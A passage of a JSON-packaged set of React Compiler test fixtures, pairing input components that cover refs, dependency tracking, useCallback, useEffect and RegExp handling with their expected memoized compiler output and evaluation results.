    "content": "// Determine that we only need to track p.a here\n// Ordering of access should not matter\nfunction TestDepsSubpathOrder1(props) {\n  let x = {};\n  x.b = props.a.b;\n  x.a = props.a;\n  x.c = props.a.b.c;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestDepsSubpathOrder1,\n  params: [{a: {b: {c: 2}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order2.expect.md",
    "content": "\n## Input\n\n```javascript\n// Determine that we only need to track p.a here\n// Ordering of access should not matter\nfunction TestDepsSubpathOrder2(props) {\n  let x = {};\n  x.a = props.a;\n  x.b = props.a.b;\n  x.c = props.a.b.c;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestDepsSubpathOrder2,\n  params: [{a: {b: {c: 2}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Determine that we only need to track p.a here\n// Ordering of access should not matter\nfunction TestDepsSubpathOrder2(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.a) {\n    x = {};\n    x.a = props.a;\n    x.b = props.a.b;\n    x.c = props.a.b.c;\n    $[0] = props.a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestDepsSubpathOrder2,\n  params: [{ a: { b: { c: 2 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":{\"b\":{\"c\":2}},\"b\":\"[[ cyclic ref *2 ]]\",\"c\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order2.js",
    "content": "// Determine that we only need to track p.a here\n// Ordering of access should not matter\nfunction TestDepsSubpathOrder2(props) {\n  let x = {};\n  x.a = props.a;\n  x.b = props.a.b;\n  x.c = props.a.b.c;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestDepsSubpathOrder2,\n  params: [{a: {b: {c: 2}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order3.expect.md",
    "content": "\n## Input\n\n```javascript\n// Determine that we only need to track p.a here\n// Ordering of access should not matter\nfunction TestDepsSubpathOrder3(props) {\n  let x = {};\n  x.c = props.a.b.c;\n  x.a = props.a;\n  x.b = props.a.b;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestDepsSubpathOrder3,\n  params: [{a: {b: {c: 2}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // Determine that we only need to track p.a here\n// Ordering of access should not matter\nfunction TestDepsSubpathOrder3(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.a) {\n    x = {};\n    x.c = props.a.b.c;\n    x.a = props.a;\n    x.b = props.a.b;\n    $[0] = props.a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestDepsSubpathOrder3,\n  params: [{ a: { b: { c: 2 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"c\":2,\"a\":{\"b\":{\"c\":2}},\"b\":\"[[ cyclic ref *2 ]]\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order3.js",
    "content": "// Determine that we only need to track p.a here\n// Ordering of access should not matter\nfunction TestDepsSubpathOrder3(props) {\n  let x = {};\n  x.c = props.a.b.c;\n  x.a = props.a;\n  x.b = props.a.b;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: TestDepsSubpathOrder3,\n  params: [{a: {b: {c: 2}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-no-added-to-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender false\nfunction VideoTab() {\n  const ref = useRef();\n  const t = ref.current;\n  let x = () => {\n    console.log(t);\n  };\n\n  return <VideoList videos={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender false\nfunction VideoTab() {\n  const $ = _c(1);\n  const ref = useRef();\n  const t = ref.current;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = () => {\n      console.log(t);\n    };\n    t0 = <VideoList videos={x} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-no-added-to-dep.js",
    "content": "// @validateRefAccessDuringRender false\nfunction VideoTab() {\n  const ref = useRef();\n  const t = ref.current;\n  let x = () => {\n    console.log(t);\n  };\n\n  return <VideoList videos={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-not-added-to-dep-2.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender:false\nfunction Foo({a}) {\n  const ref = useRef();\n  const val = ref.current;\n  const x = {a, val};\n\n  return <VideoList videos={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender:false\nfunction Foo(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  const ref = useRef();\n  const val = ref.current;\n  let t1;\n  if ($[0] !== a) {\n    const x = { a, val };\n    t1 = <VideoList videos={x} />;\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-not-added-to-dep-2.js",
    "content": "// @validateRefAccessDuringRender:false\nfunction Foo({a}) {\n  const ref = useRef();\n  const val = ref.current;\n  const x = {a, val};\n\n  return <VideoList videos={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-not-added-to-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender false\nfunction VideoTab() {\n  const ref = useRef();\n  let x = () => {\n    console.log(ref.current.x);\n  };\n\n  return <VideoList videos={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender false\nfunction VideoTab() {\n  const $ = _c(1);\n  const ref = useRef();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = () => {\n      console.log(ref.current.x);\n    };\n    t0 = <VideoList videos={x} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-not-added-to-dep.js",
    "content": "// @validateRefAccessDuringRender false\nfunction VideoTab() {\n  const ref = useRef();\n  let x = () => {\n    console.log(ref.current.x);\n  };\n\n  return <VideoList videos={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-write-not-added-to-dep.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef({text: {value: null}});\n  const inputChanged = e => {\n    ref.current.text.value = e.target.value;\n  };\n\n  return <input onChange={inputChanged} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useRef } from \"react\";\n\nfunction Component() {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { text: { value: null } };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const ref = useRef(t0);\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const inputChanged = (e) => {\n      ref.current.text.value = e.target.value;\n    };\n    t1 = <input onChange={inputChanged} />;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <input>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-write-not-added-to-dep.js",
    "content": "import {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef({text: {value: null}});\n  const inputChanged = e => {\n    ref.current.text.value = e.target.value;\n  };\n\n  return <input onChange={inputChanged} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep-2.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender:false\nfunction Foo({a}) {\n  const ref = useRef();\n  const x = {a, val: ref.current};\n\n  return <VideoList videos={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender:false\nfunction Foo(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  const ref = useRef();\n  let t1;\n  if ($[0] !== a) {\n    const x = { a, val: ref.current };\n    t1 = <VideoList videos={x} />;\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep-2.js",
    "content": "// @validateRefAccessDuringRender:false\nfunction Foo({a}) {\n  const ref = useRef();\n  const x = {a, val: ref.current};\n\n  return <VideoList videos={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction VideoTab() {\n  const ref = useRef();\n  let x = () => {\n    console.log(ref.current);\n  };\n\n  return <VideoList videos={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction VideoTab() {\n  const $ = _c(1);\n  const ref = useRef();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = () => {\n      console.log(ref.current);\n    };\n    t0 = <VideoList videos={x} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-not-added-to-dep.js",
    "content": "function VideoTab() {\n  const ref = useRef();\n  let x = () => {\n    console.log(ref.current);\n  };\n\n  return <VideoList videos={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-optional-field-no-added-to-dep.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction VideoTab() {\n  const ref = useRef();\n  let x = () => {\n    ref.current?.x;\n  };\n\n  return <VideoList videos={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction VideoTab() {\n  const $ = _c(1);\n  const ref = useRef();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = () => {\n      ref.current?.x;\n    };\n    t0 = <VideoList videos={x} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-optional-field-no-added-to-dep.js",
    "content": "function VideoTab() {\n  const ref = useRef();\n  let x = () => {\n    ref.current?.x;\n  };\n\n  return <VideoList videos={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-write-not-added-to-dep.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction VideoTab() {\n  const ref = useRef();\n  let x = () => {\n    ref.current = 1;\n  };\n\n  return <VideoList videos={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction VideoTab() {\n  const $ = _c(1);\n  const ref = useRef();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = () => {\n      ref.current = 1;\n    };\n    t0 = <VideoList videos={x} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-write-not-added-to-dep.js",
    "content": "function VideoTab() {\n  const ref = useRef();\n  let x = () => {\n    ref.current = 1;\n  };\n\n  return <VideoList videos={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-in-effect.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const ref = useRef(null);\n  const onChange = e => {\n    const newValue = e.target.value ?? ref.current;\n    ref.current = newValue;\n  };\n  useEffect(() => {\n    console.log(ref.current);\n  });\n  return <Foo onChange={onChange} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (e) => {\n      const newValue = e.target.value ?? ref.current;\n      ref.current = newValue;\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onChange = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      console.log(ref.current);\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  useEffect(t1);\n  let t2;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = <Foo onChange={onChange} />;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  return t2;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-in-effect.js",
    "content": "function Component(props) {\n  const ref = useRef(null);\n  const onChange = e => {\n    const newValue = e.target.value ?? ref.current;\n    ref.current = newValue;\n  };\n  useEffect(() => {\n    console.log(ref.current);\n  });\n  return <Foo onChange={onChange} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-effect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees\nimport {useRef, useEffect} from 'react';\n\nfunction useCustomRef() {\n  return useRef({click: () => {}});\n}\n\nfunction Foo() {\n  const ref = useCustomRef();\n\n  useEffect(() => {\n    ref.current?.click();\n  }, []);\n\n  return <div>foo</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees\nimport { useRef, useEffect } from \"react\";\n\nfunction useCustomRef() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { click: _temp };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return useRef(t0);\n}\nfunction _temp() {}\n\nfunction Foo() {\n  const $ = _c(4);\n  const ref = useCustomRef();\n  let t0;\n  if ($[0] !== ref) {\n    t0 = () => {\n      ref.current?.click();\n    };\n    $[0] = ref;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = [];\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  useEffect(t0, t1);\n  let t2;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = <div>foo</div>;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>foo</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-effect.js",
    "content": "// @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees\nimport {useRef, useEffect} from 'react';\n\nfunction useCustomRef() {\n  return useRef({click: () => {}});\n}\n\nfunction Foo() {\n  const ref = useCustomRef();\n\n  useEffect(() => {\n    ref.current?.click();\n  }, []);\n\n  return <div>foo</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback-2.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees\nimport {useRef, useCallback} from 'react';\n\nfunction useCustomRef() {\n  return useRef({click: () => {}});\n}\n\nfunction Foo() {\n  const ref = useCustomRef();\n\n  const onClick = useCallback(() => {\n    ref.current?.click();\n  }, [ref]);\n\n  return <button onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees\nimport { useRef, useCallback } from \"react\";\n\nfunction useCustomRef() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { click: _temp };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return useRef(t0);\n}\nfunction _temp() {}\n\nfunction Foo() {\n  const $ = _c(4);\n  const ref = useCustomRef();\n  let t0;\n  if ($[0] !== ref) {\n    t0 = () => {\n      ref.current?.click();\n    };\n    $[0] = ref;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[2] !== onClick) {\n    t1 = <button onClick={onClick} />;\n    $[2] = onClick;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <button></button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback-2.js",
    "content": "// @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees\nimport {useRef, useCallback} from 'react';\n\nfunction useCustomRef() {\n  return useRef({click: () => {}});\n}\n\nfunction Foo() {\n  const ref = useCustomRef();\n\n  const onClick = useCallback(() => {\n    ref.current?.click();\n  }, [ref]);\n\n  return <button onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees\nimport {useRef, useCallback} from 'react';\n\nfunction useCustomRef() {\n  return useRef({click: () => {}});\n}\n\nfunction Foo() {\n  const customRef = useCustomRef();\n\n  const onClick = useCallback(() => {\n    customRef.current?.click();\n  }, [customRef]);\n\n  return <button onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees\nimport { useRef, useCallback } from \"react\";\n\nfunction useCustomRef() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { click: _temp };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return useRef(t0);\n}\nfunction _temp() {}\n\nfunction Foo() {\n  const $ = _c(4);\n  const customRef = useCustomRef();\n  let t0;\n  if ($[0] !== customRef) {\n    t0 = () => {\n      customRef.current?.click();\n    };\n    $[0] = customRef;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[2] !== onClick) {\n    t1 = <button onClick={onClick} />;\n    $[2] = onClick;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <button></button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-like-name-in-useCallback.js",
    "content": "// @enableTreatRefLikeIdentifiersAsRefs @validatePreserveExistingMemoizationGuarantees\nimport {useRef, useCallback} from 'react';\n\nfunction useCustomRef() {\n  return useRef({click: () => {}});\n}\n\nfunction Foo() {\n  const customRef = useCustomRef();\n\n  const onClick = useCallback(() => {\n    customRef.current?.click();\n  }, [customRef]);\n\n  return <button onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-parameter-mutate-in-effect.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect} from 'react';\n\nfunction Foo(props, ref) {\n  useEffect(() => {\n    ref.current = 2;\n  }, []);\n  return <div>{props.bar}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{bar: 'foo'}, {ref: {current: 1}}],\n  isComponent: true,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useEffect } from \"react\";\n\nfunction Foo(props, ref) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== ref) {\n    t0 = () => {\n      ref.current = 2;\n    };\n    $[0] = ref;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = [];\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  useEffect(t0, t1);\n  let t2;\n  if ($[3] !== props.bar) {\n    t2 = <div>{props.bar}</div>;\n    $[3] = props.bar;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ bar: \"foo\" }, { ref: { current: 1 } }],\n  isComponent: true,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>foo</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-parameter-mutate-in-effect.js",
    "content": "import {useEffect} from 'react';\n\nfunction Foo(props, ref) {\n  useEffect(() => {\n    ref.current = 2;\n  }, []);\n  return <div>{props.bar}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{bar: 'foo'}, {ref: {current: 1}}],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/regexp-literal.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const pattern = /foo/g;\n  const value = makeValue();\n  // We treat RegExp instances as mutable objects (bc they are)\n  // so by default we assume this could be mutating `value`:\n  if (pattern.test(value)) {\n    return <div>{value}</div>;\n  }\n  return <div>Default</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  let value;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const pattern = /foo/g;\n    value = makeValue();\n    t0 = pattern.test(value);\n    $[0] = t0;\n    $[1] = value;\n  } else {\n    t0 = $[0];\n    value = $[1];\n  }\n  if (t0) {\n    let t1;\n    if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t1 = <div>{value}</div>;\n      $[2] = t1;\n    } else {\n      t1 = $[2];\n    }\n    return t1;\n  }\n  let t1;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <div>Default</div>;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/regexp-literal.js",
    "content": "function Component(props) {\n  const pattern = /foo/g;\n  const value = makeValue();\n  // We treat RegExp instances as mutable objects (bc they are)\n  // so by default we assume this could be mutating `value`:\n  if (pattern.test(value)) {\n    return <div>{value}</div>;\n  }\n  return <div>Default</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/relay-transitive-mixeddata.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useFragment} from 'shared-runtime';\n\n/**\n * React compiler should infer that the returned value is a primitive and avoid\n * memoizing it.\n */\nfunction useRelayData({query, idx}) {\n  'use memo';\n  const data = useFragment('', query);\n  return data.a[idx].toString();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useRelayData,\n  params: [{query: '', idx: 0}],\n  sequentialRenders: [\n    {query: '', idx: 0},\n    {query: '', idx: 0},\n    {query: '', idx: 1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useFragment } from \"shared-runtime\";\n\n/**\n * React compiler should infer that the returned value is a primitive and avoid\n * memoizing it.\n */\nfunction useRelayData(t0) {\n  \"use memo\";\n  const { query, idx } = t0;\n\n  const data = useFragment(\"\", query);\n  return data.a[idx].toString();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useRelayData,\n  params: [{ query: \"\", idx: 0 }],\n  sequentialRenders: [\n    { query: \"\", idx: 0 },\n    { query: \"\", idx: 0 },\n    { query: \"\", idx: 1 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"1\"\n\"1\"\n\"2\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/relay-transitive-mixeddata.js",
    "content": "import {useFragment} from 'shared-runtime';\n\n/**\n * React compiler should infer that the returned value is a primitive and avoid\n * memoizing it.\n */\nfunction useRelayData({query, idx}) {\n  'use memo';\n  const data = useFragment('', query);\n  return data.a[idx].toString();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useRelayData,\n  params: [{query: '', idx: 0}],\n  sequentialRenders: [\n    {query: '', idx: 0},\n    {query: '', idx: 0},\n    {query: '', idx: 1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/renaming-jsx-tag-lowercase.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify, identity, useIdentity} from 'shared-runtime';\n\nfunction Foo({}) {\n  const x = {};\n  const y = {};\n  useIdentity(0);\n  return (\n    <>\n      <Stringify value={identity(y)} />\n      <Stringify value={identity(x)} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify, identity, useIdentity } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(9);\n  const x = {};\n  const y = {};\n  useIdentity(0);\n\n  const T0 = Stringify;\n  const t1 = identity(y);\n  let t2;\n  if ($[0] !== T0 || $[1] !== t1) {\n    t2 = <T0 value={t1} />;\n    $[0] = T0;\n    $[1] = t1;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  const T1 = Stringify;\n  const t3 = identity(x);\n  let t4;\n  if ($[3] !== T1 || $[4] !== t3) {\n    t4 = <T1 value={t3} />;\n    $[3] = T1;\n    $[4] = t3;\n    $[5] = t4;\n  } else {\n    t4 = $[5];\n  }\n  let t5;\n  if ($[6] !== t2 || $[7] !== t4) {\n    t5 = (\n      <>\n        {t2}\n        {t4}\n      </>\n    );\n    $[6] = t2;\n    $[7] = t4;\n    $[8] = t5;\n  } else {\n    t5 = $[8];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"value\":{}}</div><div>{\"value\":{}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/renaming-jsx-tag-lowercase.tsx",
